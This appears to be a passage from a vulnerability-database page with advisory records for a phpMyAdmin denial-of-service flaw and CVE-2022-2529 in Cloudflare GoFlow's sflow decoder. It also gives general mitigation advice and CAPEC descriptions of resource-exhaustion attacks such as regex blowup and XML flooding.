"url": "https://github.com/phpmyadmin/composer"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201701-32"
},
{
"type": "WEB",
"url": "https://www.phpmyadmin.net/security/PMASA-2016-22"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2016-06/msg00113.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2016-06/msg00114.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2016/dsa-3627"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/91376"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "phpMyAdmin Denial Of Service (DOS) attack"
}
GHSA-9RPW-2H95-666C
Vulnerability from github – Published: 2022-10-01 15:52 – Updated: 2023-10-02 11:20Impact
The sflow decode package prior to version 3.4.4 does not employ sufficient packet sanitisation which can lead to a denial of service attack. Attackers can craft malformed packets causing the process to consume huge amounts of memory resulting in a denial of service.
Specific Go Packages Affected
github.com/cloudflare/goflow/v3/decoders/sflow
Patches
Version 3.4.4 contains patches fixing this.
Workarounds
A possible workaround is to not have your goflow collector publicly reachable.
For more information
If you have any questions or comments about this advisory: * Open an issue in goflow repo * Email us netdev[@]cloudflare.com
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudflare/goflow/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-2529"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-01T15:52:23Z",
"nvd_published_at": "2022-09-30T11:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nThe sflow decode package prior to version 3.4.4 does not employ sufficient packet sanitisation which can lead to a denial of service attack. Attackers can craft malformed packets causing the process to consume huge amounts of memory resulting in a denial of service.\n\n### Specific Go Packages Affected\ngithub.com/cloudflare/goflow/v3/decoders/sflow\n\n### Patches\nVersion 3.4.4 contains patches fixing this.\n\n### Workarounds\nA possible workaround is to not have your goflow collector publicly reachable.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [goflow repo](https://github.com/cloudflare/goflow)\n* Email us [netdev[@]cloudflare.com ](mailto:netdev@cloudflare.com)\n",
"id": "GHSA-9rpw-2h95-666c",
"modified": "2023-10-02T11:20:15Z",
"published": "2022-10-01T15:52:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudflare/goflow/security/advisories/GHSA-9rpw-2h95-666c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2529"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/goflow/commit/2b94619a6204443e3ca1769f4e459f9f57039c51"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/goflow/commit/c829ccd2c0aafdc9b886b20bf6f28095607f4998"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudflare/goflow"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/goflow/releases/tag/v3.4.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cloudflare GoFlow vulnerable to a Denial of Service in the sflow packet handling package"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.